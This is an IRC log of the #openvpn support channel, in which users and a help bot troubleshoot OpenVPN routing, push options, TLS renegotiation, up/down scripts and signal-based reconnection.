04:32 < EugeneKay> I've not used the mgmt interface much, but AFAIK those messages can't(and shouldn't) be turned off.
04:32 < jww> I use it for a few years, I did not had this before.
04:33 < jww> it make the console unusable , because it flood it every few seconds.
04:35 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 252 seconds]
04:47 -!- Dave2 is now known as Dave
05:03 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
05:06 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
05:28 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has joined #openvpn
05:51 -!- sppadic [~sppadic@193.130.68.17] has joined #openvpn
06:19 -!- streulma [~chatzilla@91.182.87.40] has quit [Remote host closed the connection]
06:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
06:27 -!- cnf [x2kWoPPI2z@unaffiliated/cnf] has left #openvpn ["Leaving"]
06:28 -!- Denial [Denial@90.208.15.68] has joined #openvpn
06:29 -!- alexander__b [~alexander@107.4.189.109.customer.cdi.no] has quit [Changing host]
06:29 -!- alexander__b [~alexander@fsf/member/alexanderb] has joined #openvpn
06:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:44 < alexander__b> anyone know what I need to add to my /etc/hibernate/common.conf to make openvpn work again? pekster said something about sending SIGUSR1 to it.
06:46 < alexander__b> I guess "killall -USR1 openvpn" would work? but uh... IDK how to add it correctly to the conf. nor if it's actually an even remotely sane way of doing it.
06:49 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 276 seconds]
06:50 < alexander__b> right now I have "OnResume 99 killall -USR1 openvpn". probably... works...
06:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
07:02 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
07:22 < alexander__b> also sometimes openvpn just stops working. i.e. I have no net anywhere, and /etc/init.d/openvpn stop doesn't work.
07:33 -!- mattock is now known as mattock_afk
07:46 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
07:51 -!- streulma [~chatzilla@d5152D431.static.telenet.be] has joined #openvpn
07:52 < streulma> hello, I have fully set up openvpn! but can't reach the gateway
07:56 <@ecrist> then something isn't set up
07:56 -!- BluesKaj [BluesKaj@gateway/shell/trekweb.org/x-zmoojpqcvssqrdrn] has joined #openvpn
07:56 -!- BluesKaj [BluesKaj@gateway/shell/trekweb.org/x-zmoojpqcvssqrdrn] has left #openvpn ["Konversation terminated!"]
07:57 < streulma> ecrist: I use tap
07:57 <@ecrist> that doesn't tell me anything
07:58 < streulma> what can I tell you more ecrist
07:58 <@ecrist> !welcome
07:58 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
07:58 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:59 -!- mattock_afk is now known as mattock
08:08 < excalibr> !mitm
08:08 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
08:21 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
08:27 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
08:34 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:36 -!- larsks [~lars@madhatter.seas.harvard.edu] has quit [Quit: leaving]
08:37 -!- dazo is now known as dazo_afk
08:40 -!- KaiForce [~chatzilla@cable-pool6-cs-20.doycomm.com] has joined #openvpn
08:44 -!- AL13N_work [~alien@91.183.52.232] has joined #openvpn
08:45 < AL13N_work> i just read that in tap-server mode, openvpn has an internal packet filter. problem is that we want to filter eth frames (vlans in this case) depending on which client it goes to (info which is not available at the interface level)
08:46 < AL13N_work> how would someone go around to write a plugin to do something like this?
08:46 < AL13N_work> ideally it should be like an iptables plugin or something
08:46 < AL13N_work> or ebtables
08:47 < AL13N_work> (also keeping in mind client-to-client)
08:54 <@krzee> !client-connect
08:54 <@vpnHelper> "client-connect" is --client-connect <script>, runs script on client connection. This can be useful for generating firewall rules dynamicly, or for assigning static ips. This can do anything that a ccd (see !ccd) entry can do, but dynamicly... to use it that way, you should write your dynamic ccd commands to the file named by $1.
08:57 < AL13N_work> krzee: the problem is that ebtables or iptables or whatnot cannot disginguish in tap-server mode where it goes to... after all it's layer 2 (ethernet)
08:58 < AL13N_work> or i'd have to know all the mac addresses up front
08:58 < AL13N_work> krzee: do you see the problem?
08:59 < AL13N_work> or i'd have to ahve seperate tap devices for each client in a bridge and filter that way
09:00 < AL13N_work> which is what i wanted to avoid
09:00 < AL13N_work> krzee: should i ask my question someplace else?
09:00 < EugeneKay> !rocks
09:00 <@vpnHelper> "rocks" is Nobody around but us rocks! Please go ahead and ask your question, and be patient - somebody helpful will eventually perk up.
09:01 <@krzee> dunno, have the script dump the env and see if theres anything useful, i stay away from layer2 vpns
09:01 <@krzee> why do you need layer2 over the vpn?
09:02 < AL13N_work> because i'm transporting different vlans over vpn
09:02 < AL13N_work> lol
09:30 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has left #openvpn []
09:30 -!- JesseCW [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
09:30 -!- JesseC is now known as Guest4971
09:31 -!- andre_11 [~andre_11@dsl107-166.pool.bitel.net] has joined #openvpn
09:31 < andre_11> hello
09:32 < andre_11> i need help with getting access to my exchange server via openvpn
09:32 < andre_11> here is my setup
09:33 < andre_11> server 1 with another virtual server 2 on which exchange is installed
09:33 < andre_11> openvpn is istalled on server 1
09:33 -!- Guest4971 [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit [Ping timeout: 252 seconds]
09:33 < andre_11> connection established and can ping server 1 but not server 2
09:33 < andre_11> :(
09:33 < andre_11> any ideas ?
09:33 < andre_11> both are 2008r2
09:42 -!- b0fh_ua [~b0fh_ua@static.104.229.46.78.clients.your-server.de] has joined #openvpn
09:43 < b0fh_ua> Hello! My openvpn server is configured to push default route as "push "redirect-gateway def1"". Now on single client I want to ignore this option (and keep the rest of clients go in this way). How can I do that?
09:45 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:46 < EugeneKay> !push_reset
09:46 <@vpnHelper> "push_reset" is Don't inherit the global push list for a specific client instance. Specify this option in a client-specific context such as with a --client-config-dir configuration file. This option will ignore --push options at the global config file level.
09:46 < EugeneKay> b0fh_ua ^
09:46 < AL13N_work> EugeneKay: i was more requesting if i should ask this in another channel (devel? or other place like mailing lists) due to the development nature of my questions
09:47 < EugeneKay> AL13N_work - "transporting vlans over a vpn" sounds, to put it bluntly, fucking stupid.
09:48 < EugeneKay> If you're trying to create a bridge, don't do that. Just route it.
09:51 < b0fh_ua> EugeneKay: so this has to be configured on server?
09:51 < b0fh_ua> !route-nopull
09:51 < b0fh_ua> !route_nopull
09:51 < b0fh_ua> hm
09:51 < EugeneKay> I don't think we have a bot factoid for it, but yes, yo ucan use that option too.
09:52 < b0fh_ua> EugeneKay: it doesn't work, I tried it before asking this question :(
09:52 < EugeneKay> I can assure you it does; I use it.
09:53 < andre_11> i think i narrowed my problem down
09:53 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
09:54 < andre_11> server has lan with 192.168.100.x and openvpn with 10.8.0.x
09:54 < andre_11> from client i can ping the server ip 192.168.100.1 but not other clients in the same net
09:54 < andre_11> how do i configure the static routes ?
09:55 < andre_11> i'm speaking of static routes in rras on server
09:56 < b0fh_ua> EugeneKay: http://pastebin.com/yUu89WnT
09:56 < EugeneKay> I don't remember where it lives in Windows, but I don know it sucks.
09:56 < EugeneKay> Or do you mean a LAN behind a client?
09:56 < EugeneKay> !route
09:56 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
09:56 <@vpnHelper> behind the server or client
09:56 < EugeneKay> b0fh_ua - that log doesn't say much
09:57  * EugeneKay does some laundry
09:58 < b0fh_ua> EugeneKay: yep, I found that I edited wrong file
09:58 < b0fh_ua> damn :(
10:01 < andre_11> !client
10:01 < andre_11> !clientlan
10:01 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
10:01 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
10:02 < andre_11> !serverlan
10:02 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
10:03 < andre_11> !route_outside_openvpn
10:03 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
10:12 < andre_11> !route
10:12 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
10:12 <@vpnHelper> behind the server or client
10:14 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 256 seconds]
10:15 < andre_11> the how-to made it worse ....now i cannot ping my server anymore :C
10:20 -!- raidz_away is now known as raidz
10:21 < andre_11> are these static routes used instantly ?
10:23 -!- KaiForce [~chatzilla@cable-pool6-cs-20.doycomm.com] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
10:24 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:26 -!- andre_11 [~andre_11@dsl107-166.pool.bitel.net] has quit [Quit: irc2go]
10:42 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 256 seconds]
10:43 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 260 seconds]
10:43 < streulma> can somebody help me ?
10:46 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
10:46 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
10:48 -!- KippiX [~kippix@coquelicot-a.easter-eggs.com] has joined #openvpn
10:49 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
10:51 < KippiX> hi all, i have a question about my log output server, i use auth-ldap module on debian OS and see lot of strange logs like wwwWWrrWRWRWwrwrw when tunnel is initialised. anybody can explain me why ?
10:52 < KippiX> since one hour, my client is connected, openvpn server crash wwwWWwwrrrwrwr and the tunnel stall with "SIGUSR1[soft,connection-reset] received, client-instance restarting"
10:55 < EugeneKay> You have verb turned up
10:55 <@plaisthos> KippiX: define crash
10:55 <@plaisthos> EugeneKay: wWWWww is verb 5 at least
10:56 < EugeneKay> As for the failure, take a look at your server logs
10:56 <@plaisthos> KippiX: segfault, simply stopped working, .....?
11:00 -!- streulma [~chatzilla@d5152D431.static.telenet.be] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
11:03 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 248 seconds]
11:07 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 264 seconds]
11:09 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
11:11 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:11 < KippiX> plaisthos: aaaahh okkk, i had activate verbosity in 5
11:11 < KippiX> thx
11:12 < KippiX> but i dont understand my tunnel stall after 60 minutes
11:13 < KippiX> humm maybe cause i using, just login/pass auth with tls
11:13 < KippiX> when i use certificat auth, i think tls isn't used
11:14 < KippiX> so i didn't need to put "reneg-sec" directive in my configuration
11:16 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
11:18 -!- clever [~clever@47.54.82.69] has quit [Ping timeout: 256 seconds]
11:29 < kisom> KippiX: TLS is used if you use certificates. If you're disconnected after 60 minutes it's probably because authentication fails when the renegotiation happens.
11:29 < kisom> Try setting the reneg-sec to something low and check your logs
11:34 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 260 seconds]
11:37 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
11:40 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:41 -!- qmr [~qmr@50.116.18.140] has quit [Ping timeout: 245 seconds]
11:42 -!- cruxeternus [cruxtech@secspeed.com] has quit [Ping timeout: 252 seconds]
11:42 -!- phunyguy_ [~phunyguy@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has joined #openvpn
11:45 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Ping timeout: 256 seconds]
11:46 -!- cruxeternus [cruxtech@secspeed.com] has joined #openvpn
11:47 < EugeneKay> TLS is always used. Cert exchange is what you're thinking of.
11:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
11:49 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
11:50 < cornfeedhobo> do scripts started with up and down need to be in a special format? I tried to get them to trigger the provided bridge-start/stop scripts, but it errored out
11:51 < EugeneKay> What errored?
11:51 -!- cruxeternus [cruxtech@secspeed.com] has quit [Remote host closed the connection]
11:51 < EugeneKay> scripts just need to be executable by the user running openvpn
11:51 < EugeneKay> WHat the script does is another matter
11:51 -!- Dave is now known as Dave2
11:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:53 -!- cruxeternus [~cruxetern@secspeed.com] has joined #openvpn
11:56 < cornfeedhobo> EugeneKay: and it can be a genaric bash script, correct?
11:57 < cornfeedhobo> generic*
11:57 < EugeneKay> Sure
11:57 -!- clever [~clever@47.54.82.69] has joined #openvpn
11:57 < cornfeedhobo> okay let me try again. this happened late when i had little energy left so i went to bed
11:59 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
12:00 < cornfeedhobo> https://ezcrypt.it/326n#HpGJyYrMXIwOFazHpX2JX2hZ
12:00 <@vpnHelper> Title: EZCrypt - Paste (at ezcrypt.it)
12:01 < cornfeedhobo> it seems to be erroring trying to parse the script
12:01 < cornfeedhobo> but i thought it would be executing, not parsing
12:04 < cornfeedhobo> looking at another script i am using for my ubuntu client, the format is different, where the script seems to be wrapped in some type of handler http://www.subvs.co.uk/openvpn_resolvconf
12:04 <@vpnHelper> Title: openvpn and resolv.conf | SubVS.co.uk (at www.subvs.co.uk)
12:05 -!- cnf [x2kWoPPI2z@unaffiliated/cnf] has joined #openvpn
12:06 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has quit [Quit: I must go]
12:13 -!- Denial [Denial@90.208.15.68] has quit []
12:30 -!- jthunder [~jthunder@184.151.222.149] has joined #openvpn
12:30 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
12:32 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:33 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
12:34 -!- jthunder [~jthunder@184.151.222.149] has quit [Read error: Operation timed out]
12:50 -!- cnf [x2kWoPPI2z@unaffiliated/cnf] has left #openvpn ["Bye"]
12:59 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
13:09 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Ping timeout: 252 seconds]
13:29 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
13:35 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
13:38 -!- phunyguy_ [~phunyguy@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
13:38 -!- phunyguy_ [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
13:38 -!- phunyguy_ is now known as phunyguy
13:39 -!- Poster|x is now known as Poster
13:45 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:50 -!- Conker [~Conker@static-207-54-111-107.ptr.terago.net] has joined #openvpn
13:51 < Conker> hey all, i've got openvpn setup between a client an server, both a have publicly available ip addresses no nat, the vpn so far works, they can communicate with eachother but im trying to get the client to use the vpn for outbound connections
13:54 < Conker> i've enable ip_forwarding and setup iptables masquerade on the server, but when i start the vpn, the client can ping out but nothing can ping or connect to the client using its public facing ip anymore. any advice would be very much appreciated
13:58 -!- linuxperia [~chatzilla@254-22-19-23.113.protectedgroup.com] has joined #openvpn
14:01 < linuxperia> hi to all. how can i initiate a ip adress change with the client? even when i shutdown and restart openvpn i get allways the same ip adress while with other software i am able to get the different ip adress! i do not have persitance-tun only persistance-key in the config.
14:07 < Conker> my server config - http://pastebin.com/KYm8Qezv
14:10 <@ecrist> linuxperia: why do you need/want a different IP?
14:11 <@ecrist> Conker: that's because you're sending ping replies back out the VPN interface
14:11 <@ecrist> since they're not coming back the way they went out, they're being dropped
14:12 < Conker> ecrist, i figured as much, im just not sure of a way i can make it so only new connections use the tunnel
14:12 < Conker> vpn*
14:12 <@ecrist> that's something specific to your firewall
14:13 <@ecrist> openbsd's pf can set reply-to rules based on how traffic arrived, for example
14:13 < Conker> im guessing something allong the lines of a connection = established / related rule?
14:14 <@ecrist> right
14:14 <@ecrist> the reality is, it's outside the scope of openvpn
14:14 < Conker> and that would need to be on the client system, hmm ok, i think i've got enough to get things figured
14:14 < Conker> ecrist, agreed
14:15 < Conker> thanks for the help :D
14:15 <@ecrist> no problem.
14:16 < linuxperia> ecrist: i need to change it becouse of a running software.
14:16 <@ecrist> not sure what that means
14:16 <@ecrist> do you control the openvpn server?
14:17 -!- Conker [~Conker@static-207-54-111-107.ptr.terago.net] has quit [Quit: Leaving]
14:17 < linuxperia> no but it is possible to get a new ip adress => www.foxyvpn.com
14:18 < linuxperia> i just need to get it working with openvpn
14:19 < linuxperia> i have also all the needed ip adresses if this is a help. maybe i just need to recall openvpn with a different remote ip adress ?
14:19 < linuxperia> will this work?
14:21 <@ecrist> if you don't control the server, you need to contact  your provider
14:23 < linuxperia> ecrist will calling openvpn with a different ip adress and port works ?
14:23 <@ecrist> what do you mean?
14:23 < linuxperia> i mean by connection to the other vpn ip adresses while openvpn runs allready
14:24 <@ecrist> you need to shut it down
14:24 <@ecrist> you need to contact your provider
14:24 < linuxperia> ahhh bad hoped a reconnect to a new ip adress can be done on the fly
14:24 < linuxperia> well i just wrote hime a few minutes ago
14:25 < linuxperia> i dont understand why i allways get the same ip adress always by using openvpn and how to avoid it.
14:25 <@ecrist> contact the provider
14:25 <@ecrist> we can't help you
14:26 < linuxperia> dont you think this is a client config problem?
14:26 <@ecrist> no
14:27 < linuxperia> okay thanks for the info. will try the tip with shutting down openvpn and reconnect with other ip adress
14:29 < linuxperia> btw. in my opinion openvpn should be able to reconnect to other ip adresses without to shutit down allways at least for connection to the same server with same authitication data
14:29 <@ecrist> no, it shouldn't
14:29 <@ecrist> you can always sent a sig USR1
14:29 <@ecrist> !man
14:29 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
14:31 < linuxperia> ahh good that you say this. how exactly can a openvpn client send signals like USR1. any example? i looked for this on the net but could not find any information.
14:36 < pekster> kill(1) knows
14:36 < pekster> Google probably knows. I'd guess even Bing knows.
14:37 < linuxperia> pekster: thanks for the tip.
14:38 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
14:42 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:57 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has joined #openvpn
14:57 -!- p3rror [~p3rror@41.249.149.83] has joined #openvpn
14:57 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
15:07 -!- mattock is now known as mattock_afk
15:11 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
15:14 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
15:15 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:16 < linuxperia> exit
15:16 -!- linuxperia [~chatzilla@254-22-19-23.113.protectedgroup.com] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130512194445]]
15:21 -!- master_of_master [~master_of@p4FF24A7F.dip0.t-ipconnect.de] has joined #openvpn
15:22 -!- master_o1_master [~master_of@p4FF24413.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
15:25 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:26 -!- randomA [~eclipse@pool-108-27-215-51.nycmny.fios.verizon.net] has joined #openvpn
15:26 < randomA> hey, is it possible for my ISP to be messing with my connection using openvpn?
15:26 < randomA> I can't access tpb through my vpn, but i'm quite sure that the site is up?
15:27 < Aketzu_> how can you know it's up?
15:27 < Aketzu_> (because it doesn't work for me either...)
15:27 < randomA> downforeveryoneorjustme, it doesn't work for you either?
15:28 < randomA> http://www.isup.me/thepiratebay.se
15:28 <@vpnHelper> Title: Down For Everyone Or Just Me -> Check if your website is down or up? (at www.isup.me)
15:28 < randomA> says it's up
15:29 < pekster> An ISP might be able to determine that you're using openvpn (based on the TLS fingerprint of the handshake) but if you can ping across the VPN, then the VPN is up -- a MITM (ISP or whatever) has no way of knowing what's inside the protected tunnel
15:29 < Aketzu_> packet size analysis might tell something
15:29 < pekster> That said, it could very well be the remote end that's fiddling with your connection; more so when dealing with controversial sites
15:29 < randomA> Thu Jun 13 12:24:41 2013 Authenticate/Decrypt packet error: bad packet ID (may be a replay): [ #380 ] -- see the man page entry for --no-replay and --replay
15:29 < randomA> that's the error
15:30 < randomA> so is it the ISP or...?
15:34 -!- randomA [~eclipse@pool-108-27-215-51.nycmny.fios.verizon.net] has quit [Quit: leaving]
15:40 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
16:00 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 256 seconds]
16:09 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:11 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
16:16 -!- subnero [~jonathan7@208-180-2-242.sta.suddenlink.net] has joined #openvpn
16:16 < subnero> hi
16:19 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 252 seconds]
16:22 -!- b0fh_ua [~b0fh_ua@static.104.229.46.78.clients.your-server.de] has left #openvpn []
16:26 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
16:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:52 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:57 -!- [HUN]Rcx2 [HUNRcx2@host-79-121-20-203.kabelnet.hu] has joined #openvpn
16:59 < [HUN]Rcx2> Hi! Can you give me a valid server configuration for this client configuration? http://pastebin.com/KDiV5n0E
17:19 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
17:23 -!- p3rror [~p3rror@41.249.149.83] has quit [Quit: Leaving]
17:24 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
17:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:31 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
17:33 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:36 < [HUN]Rcx2> anyone?
17:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:55 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
18:18 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
18:23 -!- rawtaz [~rawtaz@rho.hobbyhotellet.se] has left #openvpn []
18:25 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
18:33 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
18:34 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
18:59 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn ["When I leave, come together like butt cheeks."]
19:00 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Operation timed out]
19:03 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
19:16 -!- [HUN]Rcx2 [HUNRcx2@host-79-121-20-203.kabelnet.hu] has quit [Ping timeout: 240 seconds]
19:17 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
19:17 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
19:21 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 256 seconds]
19:21 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Read error: Operation timed out]
19:27 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Read error: Connection reset by peer]
19:56 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Ping timeout: 260 seconds]
20:04 -!- raidz is now known as raidz_away
20:14 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
20:30 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:32 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
20:33 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
20:35 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 245 seconds]
20:35 -!- michaelhart_ is now known as michaelhart
20:36 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
20:39 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
20:56 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 252 seconds]
21:06 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
21:13 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
21:16 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:35 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
21:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
21:52 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
21:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
21:54 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:28 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
22:30 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 240 seconds]
22:31 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
22:41 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:56 -!- Matir_ is now known as Matir
23:29 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
23:50 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
